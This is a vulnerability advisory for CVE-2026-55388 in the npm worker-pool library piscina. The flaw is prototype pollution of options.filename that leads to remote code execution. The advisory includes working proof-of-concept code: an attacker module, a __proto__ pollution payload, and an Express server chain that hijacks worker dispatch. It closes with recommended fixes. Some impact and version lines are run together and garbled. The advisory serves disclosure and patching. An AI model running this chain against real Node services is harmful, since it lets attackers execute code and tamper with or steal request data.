piscina
Affected
- introduced
5.0.0-alpha.0, fixed5.2.0(semver)
Fixed versions
5.2.0
Fix
- Fixed version
5.2.0npm install [email protected]
Advisory
Also known as: CVE-2026-55388
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
Summary
piscina's constructor and run() paths read the filename option via plain member access:
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.
Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).
Impact
Two preconditions:
Once both fire:
pool.run(task, opts) call across the entire process is hijackedworker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clientsStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
Affected versions
Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
Proof of concept
A) Minimal in-process PoC
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
Empirical observation on [email protected] + Node 23.11.0:
/api/process returns {by: 'valid-worker'}/probe after PP source confirms ({}).filename is polluted process-wide/api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>}piscina/dist/worker.js with the worker process's uid + env accessRecommended fix
Minimal — own-property guard at both option-read sites:
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
? options.filename
: null;
const filename = userFilename
? (0, common_1.maybeFileURLToPath)(userFilename)
: null;
// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options); // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
More idiomatic — use a null-prototype working object throughout this.options:
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
: null;
this.options.maxQueue = 0;
Either approach closes the gadget without breaking any legitimate caller pattern.
High Basis: The source's own band: HIGH
5.0.0-alpha.0, fixed 5.2.0 (semver)5.2.0
5.2.0npm install [email protected]0, fixed 4.9.3 (semver)4.9.3
4.9.3npm install [email protected]6.0.0-rc.1, fixed 6.0.0-rc.2 (semver)6.0.0-rc.2
6.0.0-rc.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0